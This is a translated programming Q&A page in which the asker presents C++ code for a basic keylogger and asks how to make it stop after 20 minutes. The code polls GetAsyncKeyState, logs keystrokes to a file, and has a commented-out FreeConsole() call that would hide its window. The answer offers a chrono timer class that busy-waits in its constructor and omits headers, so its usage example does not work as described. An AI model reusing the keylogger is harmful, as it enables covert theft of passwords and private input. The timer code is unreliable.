如何为带有计时功能的程序创建计时器?

How do I create a timer for the program with clocking?

本文关键字:程序 创建 计时器 功能      更新时间:2023-10-16

我正在尝试制作一个基本的键盘记录器,我希望能够在 20 分钟后关闭程序。 在网上查找,我发现了这个clock_T功能,但我无法弄清楚如何将其转换为秒(从几秒钟开始,我将能够制作分钟)。

我尝试使用基于"睡眠"功能的旧计时器。 但是考虑到我必须能够随时输入并将其保存在日志中,它给了我很多问题。 我无法理解高水平的编码,因此我在互联网上看视频或描述时遇到了很多困难。 我希望看到显示的秒数随着时间的推移而增加,因此一旦达到所需的秒数,我以后就可以关闭代码,但我却遇到了特定秒数相同数量的垃圾邮件。 示例:1111111111111111111111111111111111(一秒后增加)22222222222222222222222222222222(再次增加)333333333333333333333333。等等。

#include <iostream>
#include <string>
#include <Windows.h>
#include <fstream>
#include <time.h>
using namespace std;
int main() {
//  FreeConsole();
clock_t start = 0;
clock_t end = 0;
clock_t delta = 0;
start = clock();
fstream info;
string filename = "Data.txt";

while (true) {
info.open(filename.c_str(), ios::app);
for (char i = 31; i < 122; i++) {
if (GetAsyncKeyState(i) == -32767) { 
info << i;
cout << i;
}
}
info.close();
end = clock();
delta = end - start;
delta = delta; // 1000;
std::cout << delta/CLOCKS_PER_SEC << endl;
}
return 0;
}

我有这个使用chrono库的类模板。这是其使用的简单示例。

主.cpp

#include <iostream>
#include "Timer.h"
int main() {
while( Timer<minutes>(1).isRunning() ) {
// do something for 1 minute
}
while ( Timer<seconds>(30).isRunning() ) {
// do something for 30 seconds
}
return 0;
}

计时器.h

#pragma once
#include <chrono>
using namespace std::chrono;
template<class Resolution = seconds>
class Timer {
public:
using Clock = std::conditional_t<high_resolution_clock::is_steady,
high_resolution_clock, steady_clock>;
private:
Clock::time_point startTime_;
Clock::time_point timeToRunFor_;    
bool isRunning_ = false;
public:
explicit Timer(int count) :
startTime_{ Clock::now() },
timeToRunFor_{ Clock::now() + Resolution(count) },
isRunning_{ true }
{
run();
}
~Timer() {
const auto stopTime = Clock::now();
std::ostringstream stream;
stream << "Time Elapsed: "
<< duration_cast<Resolution>(stopTime - startTime_).count()  
<< std::endl;
std::cout << stream.str() << std::endl;
}
bool isRunning() {
return isRunning_;
}
private:    
void run() {
while (steady_clock::now() < timeToRunFor_) {}
isRunning_ = false;
}
};

输出

Time Elapsed: 1
Time Elapsed: 30

时间等待大约 1 分钟然后打印 1,然后等待大约 30 秒,然后打印 30。这是一个不错的轻量级,使用简单。


我目前正在向此类添加更多内容,以支持使用默认构造函数手动启动和停止用法。由于这个类目前位于上面,你可以创建一个实例或这个类的对象作为变量,并显式地给它一个时间,它会运行那么长时间,但你不能在你想要的时候手动启动和停止这个计时器。完成此类后,默认构造函数将不会使用内部成员timeToRunFor_run()因为它们旨在与显式构造函数版本一起使用。

完成后,您可以通过 while 循环设置您希望运行多长时间,然后在所需时间到期后通过显式构造函数版本终止,或者您可以创建此类的本地实例作为对象,调用 start 函数,执行一些其他操作和未知的时间量, 然后在之后调用 Stop 函数并执行已用时间的查询。我需要更多的时间来完成这门课,所以我现在将按原样发布,一旦我完成了对课程的更新,我会在这里将其更新到较新版本!